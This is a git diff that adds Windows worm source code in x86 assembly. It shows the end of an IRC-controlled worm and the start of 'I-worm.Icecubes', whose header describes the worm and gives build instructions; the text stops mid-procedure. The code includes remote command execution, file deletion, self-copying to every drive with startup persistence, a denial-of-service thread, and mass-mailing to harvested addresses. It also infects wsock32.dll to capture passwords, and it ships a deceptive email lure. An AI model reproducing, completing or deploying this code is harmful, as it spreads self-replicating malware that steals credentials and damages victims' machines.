@endspc+ mov byte ptr [esi-1],0+ pop esi++ xor eax,eax+ push eax+ push eax+ push CREATE_ALWAYS+ push eax+ push eax+ push GENERIC_READ or GENERIC_WRITE+ push esi+ call CreateFileA ;create new file+ inc eax+ je err_dcc0+ dec eax+ mov [dccFile],eax++ push 0+ push SOCK_STREAM+ push AF_INET+ call socket ;create socket+ inc eax+ je err_dcc1+ dec eax+ mov [dccSocket],eax++ @endsz+ push esi+ @endspc+ mov byte ptr [esi-1],0+ pop esi++ call Ascii2Num+ push eax+ call htonl+ mov [DCC_sock.sin_addr],eax ;get IP++ inc esi+ call Ascii2Num+ push eax+ call htons+ mov [DCC_sock.sin_port],ax ;port++ inc esi+ call Ascii2Num+ xchg eax,ebx++ push sockSize+ push offset DCC_sock+ push [dccSocket]+ call connect ;connect to remote machine+ inc eax+ je err_dcc2++ xor esi,esi+dcc_recv_loop:+ push 0+ push 1000h+ push offset irc_buffer+ push [dccSocket]+ call recv ;get incomming bytez+ inc eax+ je err_dcc2+ dec eax+ sub ebx,eax+ add esi,eax++ push 0+ call @tmp+dcctmp dd ?+@tmp: push eax+ push offset irc_buffer+ push [dccFile]+ call WriteFile ;write them to file++ push esi+ call htonl+ mov ecx,offset dcctmp+ mov [ecx],eax++ push 0+ push 4+ push ecx+ push [dccSocket] ;send number of+ call send ;recieved bytez++ test ebx,ebx+ jne dcc_recv_loop ;are we finished?++ call dcc_closesock ;yep, disconnect,+ call dcc_closefile ;close the file+ popad+ jmp msg_ok ;and reply "ok"++err_dcc1:+ call dcc_closefile ;close the file+ jmp err_dcc0 ;and quit+err_dcc2:+ call dcc_closesock ;disconnect+ jmp err_dcc1 ;and quit+dcc_closefile:+ push 12345678h+dccFile = dword ptr $-4+ call CloseHandle ;close the file+ ret+dcc_closesock:+ push 12345678h+dccSocket = dword ptr $-4+ call closesocket ;disconnect+ ret+++;writes the host name of local machine+irc_MACHINE:+ pushad+ push 50+ push edi+ call gethostname ;get host name+ test eax,eax+ jne err_mach ;quit if error+ mov esi,edi+ @endsz+ dec esi+ sub esi,edi+ add [esp.Pushad_ecx],esi ;update the size of+ add [esp.Pushad_edi],esi ;command+ popad+ mov ax,0A0Dh+ stosw ;terminat the command+ inc ecx+ inc ecx+ jmp end_pwd ;send it+err_dc0:+err_mach:+ popad+ jmp msg_err ;error+++;writes some infos about worm+irc_INFO:+ mov esi,offset info_table+ push ecx+ push info_size+ pop ecx+ add [esp],ecx+ rep movsb+ pop ecx+ jmp msg_ok+++;reboots the computer+irc_REBOOT:+ push 0+ push 2 or 4+ call ExitWindowsEx+ push 0+ push 0+ call ExitWindowsEx+ jmp end_worm+++;infects all mapped/fixed disks+irc_LAN:pushad+ mov esi,offset irc_buffer+ push 0+ push 7+ push esi+ push 0+ call SHGetSpecialFolderPathA ;get the STARTUP folder+ test eax,eax+ je err_lan+ push esi+ @endsz+ mov edi,esi+ pop esi+ dec edi+ mov eax,'tni\' ;construct "internat.exe"+ stosd ;path+filename+ mov eax,'anre'+ stosd+ mov eax,'xe.t'+ stosd+ push 'e'+ pop eax+ stosw ;--- "" ---++ push 0+ push esi+ push offset wormname2+ call CopyFileA ;copy the worm++ ;spread in C: - Z: disk drivez+ push 'Z'-'C'+ pop ecx+ and [lan_res],0+ld_lan: push ecx+ mov edi,offset irc_buffer+ mov esi,offset win_table+ push winNumber+ pop ecx+l_lan: push ecx+ push edi+ mov ebp,esi+ mov byte ptr [esi],'Z'+lan_drive = byte ptr $-1+ @copysz+ dec edi+ mov eax,'sat\'+ stosd+ mov eax,'rgmk'+ stosd+ mov eax,'exe.' ;as "taskmgr.exe" file+ stosd+ xor al,al+ stosb+ pop edi+ push 0+ push edi+ push offset wormname2+ call CopyFileA ;copy a worm+ dec eax+ jne wr_lan++ push esi+ push edi+ mov esi,ebp+ mov edi,offset temppath+ mov edx,edi+ @copysz+ dec edi+ mov eax,'niw\'+ stosd+ mov eax,'ini.'+ stosd+ xor al,al+ stosb+ pop edi+ pop esi++ inc [lan_res]+ push edx+ push edi+ @pushsz 'run'+ push offset win_table+3+ call WritePrivateProfileStringA ;modify win.ini++wr_lan: pop ecx+ loop l_lan ;try another directory++ pop ecx+ dec byte ptr [lan_drive]+ dec ecx+ test ecx,ecx+ jne ld_lan ;try another disk drive++ mov ecx,12345678h+lan_res = dword ptr $-4+ jecxz err_lan+ popad+ jmp msg_ok+err_lan:popad+ jmp msg_err+++;replies if the machine name matches+irc_WHOIS:+ pushad+ @endspc+ push esi+ @endbr+ mov byte ptr [esi-1],0+ call gethostbyname ;get the IP+ xchg eax,ecx+ jecxz err_who+ mov ebx,[ecx+HOSTENT_IP]+ mov ebx,[ebx]++ mov edi,offset irc_buffer+ push 100+ push edi+ call gethostname ;get host name+ test eax,eax+ jne err_who++ push edi+ call gethostbyname ;convert it to IP+ xchg eax,ecx+ jecxz err_who+ mov eax,[ecx+HOSTENT_IP]+ mov eax,[eax]+ cmp eax,ebx+ jne err_who ;reply if matches++ popad+ jmp msg_ok+err_who:popad+ jmp irc_manage+++;executes the application+irc_EXEC:+ pushad+ @endspc+ push esi+ @endbr+ mov byte ptr [esi-1],0+ pop esi ;get the command line++ xor eax,eax+ push offset pInfo+ push offset sInfo+ push eax+ push eax+ push eax+ push eax+ push eax+ push eax+ push esi+ push eax+ call CreateProcessA ;execute it!+ mov [esp.Pushad_eax],eax++ push [pInfo.hThread]+ call CloseHandle+ push [pInfo.hProcess]+ call CloseHandle ;close all handlez+ popad+ dec eax+ je msg_ok+ jmp msg_err+++;copies file+irc_COPY:+ @endspc+ push ecx+ push edx+ push 0+ push esi+ push esi+l_copy1:lodsb+ cmp al,20h+ jne l_copy1+ mov byte ptr [esi-1],0+ mov [esp+4],esi+ @endbr+ mov byte ptr [esi-1],0+ call CopyFileA+ jmp md_dir+++;moves/renames file+irc_MOVE:+ @endspc+ push ecx+ push edx+ push esi+ push esi+l_move1:lodsb+ cmp al,20h+ jne l_move1+ mov byte ptr [esi-1],0+ mov [esp+4],esi+ @endbr+ mov byte ptr [esi-1],0+ call MoveFileA+ jmp md_dir+++;removes file+irc_DEL:@endspc+ push ecx+ push edx++ push esi+ push FILE_ATTRIBUTE_NORMAL+ push esi+ @endbr+ mov byte ptr [esi-1],0+ call SetFileAttributesA ;blank attributez+ test eax,eax+ pop ecx+ je md_dir+ push ecx+ call DeleteFileA ;and delete the file+ jmp md_dir+++;removes directory+irc_RD: @endspc+ push ecx+ push edx+ push esi+ @endbr+ mov byte ptr [esi-1],0+ call RemoveDirectoryA+ jmp md_dir+++;creates directory+irc_MD: @endspc+ push ecx+ push edx+ push 0+ push esi+ @endbr+ mov byte ptr [esi-1],0+ call CreateDirectoryA+ jmp md_dir+++;changes the current directory+irc_SETCDIR:+ @endspc+ push ecx+ push edx+ push esi+ @endbr+ mov byte ptr [esi-1],0+ call SetCurrentDirectoryA+md_dir: pop edx+ pop ecx+ test eax,eax+ je msg_err+ jmp msg_ok+++;retrieves the path to current directory+irc_GETCDIR:+ push ecx+ push edx+ push edi+ push MAX_PATH+ call GetCurrentDirectoryA+ pop edx+ pop ecx+ add edi,eax+ add ecx,eax+ jmp msg_err+++;lists all filez by specified mask+irc_DIR:@endspc+ mov ebp,esi+ @endbr+ mov byte ptr [esi-1],0+ push ecx+ push edx+ push offset temppath+ push ebp+ call FindFirstFileA ;find first file+ pop edx+ pop ecx+ inc eax+ je msg_err+ dec eax+ mov [fHandle],eax++wr_dir: pushad+ mov esi,offset temppath+WFD_szFileName+@l_dir: lodsb+ inc ecx+ stosb+ test al,al+ jne @l_dir+ dec edi+ mov word ptr [edi],0A0Dh+ inc ecx+ mov esi,[esp.Pushad_edx]+ call irc_send ;send the filname+ push offset temppath+ push [fHandle]+ call FindNextFileA ;find another+ dec eax+ popad+ je wr_dir++ pushad+ push 12345678h+fHandle = dword ptr $-4+ call FindClose ;close search handle+ popad+ jmp msg_ok+irc_manage EndP+++;input:+;ECX - size of data to send+;ESI - ptr to data to send+irc_send Proc+ push 0+ push ecx+ push esi+ push [hSocket]+ call send+ xchg eax,ecx+ ret+irc_send EndP+++irc_recv_100h:+ mov ecx,100h+;ECX - size of data to recieve+;output: ESI - ptr to buffer+irc_recv Proc+ push edi+ push ecx+ mov esi,offset irc_buffer+ push esi++l_recv: push 0+ push 1+ push esi+ push [hSocket]+ call recv+ mov dl,[esi]+ inc esi+ cmp dl,0Ah+ jne l_recv++ pop esi+ pop ecx+ pop edi+ ret+irc_recv EndP+++;generates random nickname+GenerateNickName Proc+ mov edi,offset nickname+ call GetTickCount ;get random number+ push 9+ pop ecx+ xor edx,edx+ div ecx+ inc edx+ mov ecx,edx ;0..8 in ECX+name_gen:+ push ecx+ call GetTickCount ;get random number+ push 'Z'-'A'+ pop ecx+ xor edx,edx+ div ecx+ xchg eax,edx ;'A'..'Z' in EDX+ add al,'A'+ stosb+ call GetTickCount ;get random number+ push 100+ pop ecx+ xor edx,edx+ div ecx+ push edx ;0..99+ call Sleep ;wait random time+ pop ecx+ loop name_gen+ mov ax,0a0dh+ stosw ;CRLF+ ret+GenerateNickName EndP+++CRC32 Proc+ push ecx ;procedure for+ push edx ;calculating CRC32s+ push ebx ;at run-time+ xor ecx,ecx+ dec ecx+ mov edx,ecx+NextByteCRC:+ xor eax,eax+ xor ebx,ebx+ lodsb+ xor al,cl+ mov cl,ch+ mov ch,dl+ mov dl,dh+ mov dh,8+NextBitCRC:+ shr bx,1+ rcr ax,1+ jnc NoCRC+ xor ax,08320h+ xor bx,0EDB8h+NoCRC: dec dh+ jnz NextBitCRC+ xor ecx,eax+ xor edx,ebx+ dec edi+ jne NextByteCRC+ not edx+ not ecx+ pop ebx+ mov eax,edx+ rol eax,16+ mov ax,cx+ pop edx+ pop ecx+ ret+CRC32 EndP+++;input: ESI - ptr to decimal ASCII number+;output: EAX - number+Ascii2Num Proc+ push esi+ xor ecx,ecx+cnc: lodsb+ cmp al,'0'+ jl no_ch+ cmp al,'9'+ ja no_ch+ inc ecx+ jmp cnc+no_ch: pop esi+ xor eax,eax+ cdq+g_num: imul edx,10+ lodsb+ sub eax,'0'+ add edx,eax+ loop g_num+ xchg eax,edx+ ret+Ascii2Num EndP++;input: EAX - number+;output: [EDI] - stored ASCII number+Num2Ascii Proc+ push esi+ push edi+ mov edi,offset dec_buff++ push 10+ pop ecx+g_str: xor edx,edx+ div ecx+ add edx,'0'+ xchg eax,edx+ stosb+ xchg eax,edx+ test eax,eax+ jne g_str+ pop esi+ xchg esi,edi+ dec esi+cpy_num:std+ lodsb+ cld+ stosb+ cmp al,11h+ jne cpy_num+ dec edi+ pop esi+ ret+Num2Ascii EndP+++;separate thread for DOS attackz+DOS_Thread Proc+ pushad+do_dos: push PCL_NONE+ push SOCK_STREAM+ push AF_INET+ call socket ;create socket+ xchg eax,ebx+ push PCL_NONE+ push SOCK_STREAM+ push AF_INET+ call socket ;and next socket+ xchg eax,ebp++ push sockSize+ push offset DOS_sock+ push ebx+ call connect ;connect there+ inc eax+ je n_dos+ push sockSize+ push offset DOS_sock+ push ebp+ call connect ;--- "" ---+ inc eax+ je n_dos++ push 0+ push 1000h+ push offset irc_buffer+ push ebx+ call send ;send there some data+ push 0+ push 1000h+ push offset irc_buffer+ push ebp+ call send ;--- "" ---++n_dos: push ebx+ call closesocket ;close socket+ push ebp+ call closesocket ;--- "" ---++ mov ecx,12345678h+dos_sem = dword ptr $-4 ;quit if the semaphore+ jecxz end_dos ;is cleared+ jmp do_dos+end_dos:popad+SVCHandler:+ ret+DOS_Thread EndP+++;separate thread for mail spreading+SPREAD_Thread Proc+ pushad+ mov edi,offset temppath+ push 0+ push 20h+ push edi+ push 0+ call SHGetSpecialFolderPathA ;get MSIE cache directory+ dec eax+ jne end_spread++ push edi+ call SetCurrentDirectoryA ;go to there+ dec eax+ jne end_spread++;now we have to go to the deepest directory+b_dir: push edi+ @pushsz '*.*'+ call FindFirstFileA ;find first directory+ inc eax+ je end_dir+ dec eax+ xchg eax,esi++an_dir: lea eax,[edi.WFD_szFileName]+ test byte ptr [edi],FILE_ATTRIBUTE_DIRECTORY+ je n_dir ;quit if not directory+ cmp byte ptr [eax],'.' ;quit if it beggins+ je n_dir ;with dot++ push eax+ call SetCurrentDirectoryA ;go to that directory+ push esi+ call FindClose ;close the search handle+ jmp b_dir++n_dir: push edi+ push esi+ call FindNextFileA ;find next directory+ dec eax+ je an_dir++ push esi+ call FindClose ;close the search handle++end_dir:push edi+ @pushsz '*.*htm*'+ call FindFirstFileA ;find first *.*htm* file+ inc eax+ je end_spread+ dec eax+ xchg eax,esi++p_htmlz:mov ecx,0+spread_sem = dword ptr $-4+ jecxz end_spread2 ;check the semaphore+ call parse_html ;search inside html file+ ;and find there mail+ ;address and send itself+ push edi ;to there+ push esi+ call FindNextFileA ;find next file+ dec eax+ je p_htmlz++end_spread2:+ push esi+ call FindClose ;close search handle+end_spread:+ popad+ ret++parse_html:+ pushad+ push 0+ push FILE_ATTRIBUTE_NORMAL+ push OPEN_EXISTING+ push 0+ push FILE_SHARE_READ+ push GENERIC_READ+ push offset temppath+WFD_szFileName+ call CreateFileA ;open the file+ inc eax+ je end_spread+ dec eax+ xchg eax,ebx++ xor eax,eax+ push eax+ push eax+ push eax+ push PAGE_READONLY+ push eax+ push ebx+ call CreateFileMappingA ;create the file mapping+ test eax,eax+ je ph_close+ xchg eax,ebp++ xor eax,eax+ push eax+ push eax+ push eax+ push FILE_MAP_READ+ push ebp+ call MapViewOfFile ;map the file+ test eax,eax+ je ph_close2+ xchg eax,esi++ push 0+ push ebx+ call GetFileSize ;get its size+ xchg eax,ecx+ jecxz ph_close3++ls_scan_mail:+ call @mt+ db 'mailto:'+@mt: pop edi+l_scan_mail:+ pushad+ push 7+ pop ecx+ rep cmpsb ;search for "mailto:"+ popad ;string+ je scan_mail ;check the mail address+ inc esi+ loop l_scan_mail ;in a loop++ph_close3:+ push esi+ call UnmapViewOfFile ;unmap view of file+ph_close2:+ push ebp+ call CloseHandle ;close file mapping+ph_close:+ push ebx+ call CloseHandle ;close the file+ popad+ ret++scan_mail:+ xor edx,edx+ add esi,7+ mov edi,offset mail_address ;where to store the+ push edi ;mail address+n_char: lodsb+ cmp al,' '+ je s_char+ cmp al,'"'+ je e_char+ cmp al,''''+ je e_char+ cmp al,'@'+ jne o_a+ inc edx+o_a: stosb+ jmp n_char+s_char: inc esi+ jmp n_char+e_char: xor al,al+ stosb+ pop edi+ test edx,edx ;if EDX=0, mail is not+ je ls_scan_mail ;valid (no '@')++ call mapi_send+ jmp ls_scan_mail+SPREAD_Thread EndP+++;send itself to specified mail address via MAPI32+mapi_send:+ xor eax,eax+ push eax+ push eax+ push offset lpMessage+ push eax+ push [MAPIHandle]+ call MAPISendMail+ ret+++;register service process under WinNT/2k+SVCRegister Proc+ call _dt+ dd offset up_xtc+5+ dd offset service_start+ dd 0+ dd 0+_dt: call StartServiceCtrlDispatcherA ;make a connection with+ dec eax ;SCM+ jne e_svc ;error, continue...++ push 0+ call ExitThread ;quit the thread++service_start:+ pushad+ @SEH_SetupFrame <jmp end_worm>++ push offset SVCHandler+ push offset up_xtc+5+ call RegisterServiceCtrlHandlerA ;register service+ test eax,eax ;handler+ je e_svc+ push eax++ call _ss+ss_: dd 10h or 20h+ dd 4+ dd 0+ dd 0+ dd 0+ dd 0+ dd 0+_ss: push eax+ call SetServiceStatus ;set the service status+ call CloseServiceHandle ;close service handle+ jmp e_svc ;and continue...+SVCRegister EndP++end Start ;end of worm codediff --git a/Worms/InternetWorm/I-worm.Icecubes.asm b/Worms/InternetWorm/I-worm.Icecubes.asmnew file mode 100644index 0000000..2f4f106--- /dev/null+++ b/Worms/InternetWorm/I-worm.Icecubes.asm@@ -0,0 +1,4982 @@+;****************************************************************************;+;----------------------------------------------------------------------------;+; I-worm.Icecubes v 1.05+; written by f0re+;----------------------------------------------------------------------------;+;============================================================================;+;+; ABOUT+; -----+;+; Welcome to the sourcecode of my first i-worm. I have given this worm its+; name, i-worm.Icecubes, because of two reasons. First of all, here where+; i live the summer is coming..and i like icecubes in my drinks :).+; Secondly it is because of the joke behind the worm host code; when a user+; receives the worm in his mailbox, the emailmessage looks like this:+;+; Subject: Fw: Windows Icecubes !+;+; ----- Original Message -----+;+; >Look at what I found on the web. This tool scans your system for hidden+; >Windows settings.+; >These settings, which are better known as the "Windows Icecubes", were+; >built in Windows by+; >the programmers at Microsoft and were supposed to be kept secret.+; >+; >Just take a look, cause I think you might want to make some changes ;).+; >+;+;+; EXECUTION+; ---------+;+; When the worm is executed it will first check whether it is being executed+; under win 95/98. If any other version of windows is found, it will skip the+; infection procedure and run the worm-host code immediately.+;+; If windows 95/98 is detected it will try to locate the wsock32.dll and copy it+; to wsock32.inf. It also copies itself to the windows system directory under+; the name wsock2.dll. Then it will add the worm code to the .inf file by+; increasing the size of the last section.+; Next the worm will point the send api address in the wsock32.inf export table+; to the virus code. Finally the worm drops a wininit.ini file in the windir+; to direct windows at the next reboot to overwrite the original wsock32.dll+; with the infected wsock32.inf.+;+; Then the worm will execute the worm host code; a progressbar followed by+; funny dialog (check it out for yourself :).+;+;+; SEND HOOK+; ---------+;+; Once the wsock32.dll api-hook-routine receives control it will scan the send+; buffer for usernames and or passwords. If these are found, they are stored in the+; file <windir>\icecube.txt. If an email is being sended, the worm will extract the+; recipient(s) emailaddress(es), the from emailaddres, the recipient(s) name(s)+; and the from-name. Next it will base64 encode the host-worm file (wsock2.dll) and+; prepare a new email with the encoded host attached. The body of the email contains+; the text as shown in the ABOUT section of this description. This new email will+; be send after the original email has been send (this is also known as the+; happy99 technique).+;+;+; THANKS+; ------+;+; I'd like to thank the following persons who helped me with my many+; questions: BlackJack, MrSandman, Spo0ky, Darkman, Benny, Prizzy,+; urgo32, Lifewire, dageshi and T-2000.+;+;+;****************************************************************************;+;+; To compile:+;+; tasm32 icecubes.asm /ml /m+; tlink32 -aa icecubes.obj import32.lib+;+; brcc32 icecubes.rc+; brc32.exe icecubes.res+;+;****************************************************************************;++.386+.model flat, stdcall++locals+jumps+ extrn ExitProcess:PROC+ extrn DialogBoxParamA:PROC+ extrn GetModuleHandleA:PROC+ extrn EndDialog:PROC+ extrn GetWindowRect:PROC+ extrn GetDesktopWindow:PROC+ extrn MoveWindow:PROC+ extrn CreateThread:PROC+ extrn SendDlgItemMessageA:PROC+ extrn SetDlgItemTextA:PROC+ extrn CloseHandle:PROC+ extrn GetDlgItemTextA:PROC+ extrn GetModuleHandleA:PROC+ extrn GetVersion:PROC++.data++ Start:+ xor ebp, ebp++ CheckWindowsVersion:+ call GetVersion+ or eax, eax+ jz ReturnToWormHost++ MainRoutines:+ pushad+ call GET_GETPROCADDRESS_API_ADDRESS+ call GET_WINDIR+ call GET_SYSDIR+ call INFECT_WSOCK+ call COPY_HOST_FILE+ popad++ ReturnToWormHost:+ jmp OriginalHost++;==============================[ includes ]==================================;++ include windows.inc+ include wsocks.inc+ include myinc.inc++;=============================[ ic-data.inc ]===============================;++; get_gpa.inc data+ kernel32address dd 0BFF70000h+ numberofnames dd ?+ addressoffunctions dd ?+ addressofnames dd ?+ addressofordinals dd ?+ AONindex dd ?+ AGetProcAddress db "GetProcAddress", 0+ AGetProcAddressA dd 0++; directory.inc data+ currentdir db 100h dup(0)+ sysdir db 100h dup(0)+ windir db 100h dup(0)+ AGetSystemDirectory db "GetSystemDirectoryA",0+ AGetWindowsDirectory db "GetWindowsDirectoryA",0+ ASetCurrentDirectory db "SetCurrentDirectoryA",0++; infect_wsock.inc+ wsock32dll db "Wsock32.dll",0+ wsock32inf db "Wsock32.inf",0+ ACopyFile db "CopyFileA",0+ infectionflag db 0+ AFindFirstFile db "FindFirstFileA",0+ myfinddata WIN32_FIND_DATA <>+ filesize dd 0+ memory dd 0+ ADeleteFile db "DeleteFileA",0++; infect_file.inc+ ASetFileAttributes db "SetFileAttributesA",0+ ACreateFile db "CreateFileA",0+ ACreateFileMapping db "CreateFileMappingA",0+ AMapViewOfFile db "MapViewOfFile",0+ filehandle dd 0+ maphandle dd 0+ mapaddress dd 0+ PEheader dd 0+ imagebase dd 0+ imagesize dd 0+ wnewapiaddress dd 0+ AUnmapViewOfFile db "UnmapViewOfFile",0+ ACloseHandle db "CloseHandle",0+ ASetFilePointer db "SetFilePointer",0+ ASetEndOfFile db "SetEndOfFile",0+ ASetFileTime db "SetFileTime",0++; hook_api.inc+ woldapiaddress dd 0++; rva_to_raw.inc+ rva2raw dd 0++; get_api.inc+ user32address dd 0+ wsock32address dd 0++; create_ini_file.inc+ inifile db "wininit.ini",0+ writtensize dw 0+ inicrlf db 0dh,0ah,0+ rename db "[rename]",13,10+ slashsign db "\",0+ equalsign db "=",0+ writtenbytes dd 0+ AWriteFile db "WriteFile",0++; ws_copy_host_file+ AGetModuleFileName db "GetModuleFileNameA",0++; get_bases.inc+ ALoadLibrary db "LoadLibraryA",0+ k32 db "KERNEL32.dll",0+ user32 db "USER32.dll",0+ wsock32 db "WSOCK32.dll",0++; host_code.inc+ dlgrect RECT <>+ desktoprect RECT <>+ dlgwidth dd 0+ dlgheight dd 0+ threadid dd 0+ initflag dd 0+ okflag dd 0+ flag dd 0+ pastvalue dd 0+ currentvalue db '2',0+ doneflag dd 0+ value11 db "Days",0+ value12 db "Weeks",0+ value13 db "Months",0+ value14 db "Years",0+ value3 db "5000",0+ value4 db "17",0++; ic.asm+ hInst dd 0++; write_to_file.inc+ passwordfile db "icecube.txt",0++; ws_intercept.inc+ socketh dd 0+ status db 0+ AGlobalAlloc db "GlobalAlloc",0+ fromaddress dd 0+ fromsize dd 0+ rcptnumber dd 0+ rcpt_buffer_address dd 0+ rcpt_size_address dd 0+ totalrcptsize dd 0+ fromtag db 'From:',0+ totag db 'To:',0+ mimeendtag db '>',0+ mimefrom_address dd 0+ mimefromsize dd 0+ fromstatus db 0+ tostatus db 0+ toendtag db 'Subject:',0+ mimetosize dd 0+ mimeto_address dd 0++; ws_b64_encoder.inc+ encTable db 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv'+ db 'wxyz0123456789+/'+; ws_attachment+ wsock2 db "Wsock2.dll",0+ smHnd dd 0+ dmHnd dd 0+ bytesread dd 0+ encodedsize dd 0+ AReadFile db "ReadFile",0+ AGetFileSize db "GetFileSize",0++; ws_send_mail+ email_buffer_address dd 0+ email_size dd 0+ datatag db 'DATA',0dh,0ah+ emailid db 'Message-ID: <a1234>',0dh,0ah+ emailstart db 'Subject: Fw: Windows Icecubes !',0dh,0ah+ db 'MIME-Version: 1.0',0dh,0ah+ db 'Content-Type: multipart/mixed; boundary="a1234"',0dh,0ah+ db 0dh,0ah,'--a1234',0dh,0ah+ db 'Content-Type: text/plain; charset=us-ascii',0dh,0ah+ db 'Content-Transfer-Encoding: 7bit',0dh,0ah,0dh,0ah+ db 0dh,0ah+ db '----- Original Message -----', 0dh,0ah+ db 0dh,0ah+ db '>Look at what I found on the web. This tool scans your system for hidden Windows settings.', 0dh, 0ah+ db '>These settings, which are better known as the "Windows Icecubes", were built in Windows by', 0dh,0ah+ db '>the programmers at Microsoft and were supposed to be kept secret. ',0dh,0ah+ db '>',0dh,0ah+ db '>Just take a look, cause I think you might want to make some changes ;).',0dh,0ah+ db '>',0dh,0ah+ db 0dh,0ah+ db 0dh,0ah,'--a1234',0dh,0ah+ db 'Content-Type: application/octet-stream; name="Icecubes.exe"'+ db 0dh,0ah,'Content-Transfer-Encoding: base64',0dh,0ah+ db 'Content-Disposition: attachment; filename="Icecubes.exe"',0dh,0ah,0dh,0ah+ emailend db 0dh,0ah+ emailtail db 0dh,0ah,0dh,0ah,'--a1234--',0dh,0ah,0dh,0ah+ endtag db 0Dh,0Ah,2Eh,0Dh,0Ah+ timedate SYSTEMTIME <>+ AMessageBox db "MessageBoxA",0+ AGetSystemTime db "GetSystemTime",0+ msgmessage db "Windows detected icecubes on your harddrive.",10,13+ db "This may cause the system to stop responding.",10,13+ db "Do you want Windows to remove all icecubes ?",0+ windowtitle db "I-worm.Icecubes / f0re",0+ ASend db "send",0+ ARecv db "recv",0+ recvbuffer db 100h dup(0)++;============================[ ic-get_gpa.inc ]=============================;++GET_GETPROCADDRESS_API_ADDRESS proc++ LoadExportTableData:+ mov edi, [ebp + kernel32address] ; get exporttable+ add edi, [edi + 3ch] ; address from+ mov esi, [edi + 78h] ; kernel's PE header+ add esi, [ebp + kernel32address]++ mov eax, dword ptr [esi + 18h]+ mov [ebp + numberofnames], eax ; save number of names++ mov eax, dword ptr [esi + 1Ch] ; get ra of table with+ add eax, [ebp + kernel32address] ; pointers to funtion+ mov [ebp + addressoffunctions], eax ; addresses++ mov eax, dword ptr [esi + 20h] ; get ra of table with+ add eax, [ebp + kernel32address] ; pointers to names+ mov [ebp + addressofnames], eax ; of functions++ mov eax, dword ptr [esi + 24h] ; get ra of table with+ add eax, [ebp + kernel32address] ; pointers to ordinals+ mov [ebp + addressofordinals], eax ; of functions++ BeginProcAddressSearch:+ mov esi, [ebp + addressofnames] ; search for GetProc+ mov [ebp + AONindex], esi ; Address API in names+ mov edi, [esi] ; table+ add edi, [ebp + kernel32address]+ xor ecx, ecx+ lea ebx, [ebp + AGetProcAddress]++ TryAgain:+ mov esi, ebx++ MatchByte:+ cmpsb+ jne NextOne+ cmp byte ptr [esi], 0 ; did the entire string+ je GotIt ; match ?+ jmp MatchByte++ NextOne:+ inc cx+ add dword ptr [ebp + AONindex], 4 ; get next namepointer+ mov esi, [ebp + AONindex] ; in table (4 dwords)+ mov edi, [esi]+ add edi, [ebp + kernel32address] ; align with kernelbase+ jmp TryAgain++ GotIt:+ shl ecx, 1+ mov esi, [ebp + addressofordinals] ; ordinal = nameindex *+ add esi, ecx ; size of ordinal entry+ xor eax, eax ; + ordinal table base+ mov ax, word ptr [esi]+ shl eax, 2 ; address of function =+ mov esi, [ebp + addressoffunctions] ; ordinal * size of+ add esi, eax ; entry of address+ mov edi, dword ptr [esi] ; table + base of+ add edi, [ebp + kernel32address] ; addresstable+ mov [ebp + AGetProcAddressA], edi ; save GPA address+ ret++GET_GETPROCADDRESS_API_ADDRESS endp++;===========================[ ic-get_bases.inc ]============================;++GET_WSOCK32_BASE_ADDRESS proc++ LoadWsock32:+ lea eax, [ebp + wsock32] ; not found, then+ push eax ; load the dll+ lea eax, [ebp + ALoadLibrary] ; first+ call GETAPI+ mov [ebp + wsock32address], eax+ ret++GET_WSOCK32_BASE_ADDRESS endp++GET_USER32_BASE_ADDRESS proc++ GetUser32Base:+ lea eax, [ebp + user32]+ push eax+ lea eax, [ebp + ALoadLibrary]+ call GETAPI+ mov [ebp + user32address], eax+ ret++GET_USER32_BASE_ADDRESS endp++;============================[ ic-get_api.inc ]=============================;++GETAPI proc++ push eax+ push dword ptr [ebp + kernel32address] ; load kernelbase+ call [ebp + AGetProcAddressA] ; and get api address+ jmp eax ; call the api+ ret ; return++GETAPI endp++GETUAPI proc++ push eax+ push dword ptr [ebp + user32address] ; load wsockbase+ call [ebp + AGetProcAddressA] ; and get api address+ jmp eax+ ret++GETUAPI endp++GETWAPI proc++ push eax+ push dword ptr [ebp + wsock32address] ; load wsockbase+ call [ebp + AGetProcAddressA] ; and get api address+ jmp eax+ ret++GETWAPI endp++;==========================[ ic-directory.inc ]=============================;++GET_WINDIR proc++ GetWindowsDir:+ push 128h ; size of dirstring+ lea eax, [ebp + windir] ; save it here+ push eax+ lea eax, [ebp + AGetWindowsDirectory] ; get windowsdir+ call GETAPI+ ret++GET_WINDIR endp++GET_SYSDIR proc++ GetSystemDir:+ push 128h ; size of dirstring+ lea eax, [ebp + sysdir] ; save it here+ push eax+ lea eax, [ebp + AGetSystemDirectory] ; get system dir+ call GETAPI+ ret++GET_SYSDIR endp++SET_WINDIR proc++ SetWindowsDir:+ lea eax, [ebp + windir] ; change to sysdir+ push eax+ lea eax, [ebp + ASetCurrentDirectory]+ call GETAPI+ ret++SET_WINDIR endp++SET_SYSDIR proc++ SetSystemDir:+ lea eax, [ebp + sysdir] ; change to sysdir+ push eax+ lea eax, [ebp + ASetCurrentDirectory]+ call GETAPI+ ret++SET_SYSDIR endp++;=========================[ ic-infect_wsock.inc ]===========================;++INFECT_WSOCK proc++ WsockSetSystemDirectory:+ call SET_SYSDIR++ CopyWSockFile:+ push 00h+ lea eax, [ebp + wsock32inf]+ push eax+ lea eax, [ebp + wsock32dll]+ push eax+ lea eax, [ebp + ACopyFile]+ call GETAPI++ SearchWsockFile:+ mov [ebp + infectionflag], 00h+ lea eax, [ebp + myfinddata] ; win32 finddata structure+ push eax+ lea eax, [ebp + wsock32inf] ; get wsock32.inf+ push eax+ lea eax, [ebp + AFindFirstFile] ; find the first file+ call GETAPI+ cmp eax, 0FFFFFFFh+ je WsockEndSearch++ GoInfectWsockInf:+ mov ecx, [ebp + myfinddata.fd_nFileSizeLow] ; ecx = filesize+ mov [ebp + filesize], ecx ; save the filesize+ add ecx, Leap - Start + 1000h ; filesize + virus+ mov [ebp + memory], ecx ; + workspace = memory+ call INFECT_FILE+ cmp [ebp + infectionflag], 01+ je DeleteWsockFile++ call CREATE_INI_FILE+ jmp WsockEndSearch++ DeleteWsockFile:+ lea eax, [ebp + wsock32inf]+ push eax+ lea eax, [ebp + ADeleteFile]+ call GETAPI++ DeleteIniFile2:+ call SET_WINDIR+ lea eax, [ebp + inifile]+ push eax+ lea eax, [ebp + ADeleteFile]+ call GETAPI++ WsockEndSearch:+ ret++INFECT_WSOCK endp++;=========================[ ic-infect_file.inc ]============================;++INFECT_FILE proc++ SetAttributesToNormal:+ push 80h+ lea esi, [ebp + myfinddata.fd_cFileName] ; esi = filename+ push esi+ lea eax, [ebp + ASetFileAttributes]+ call GETAPI++ 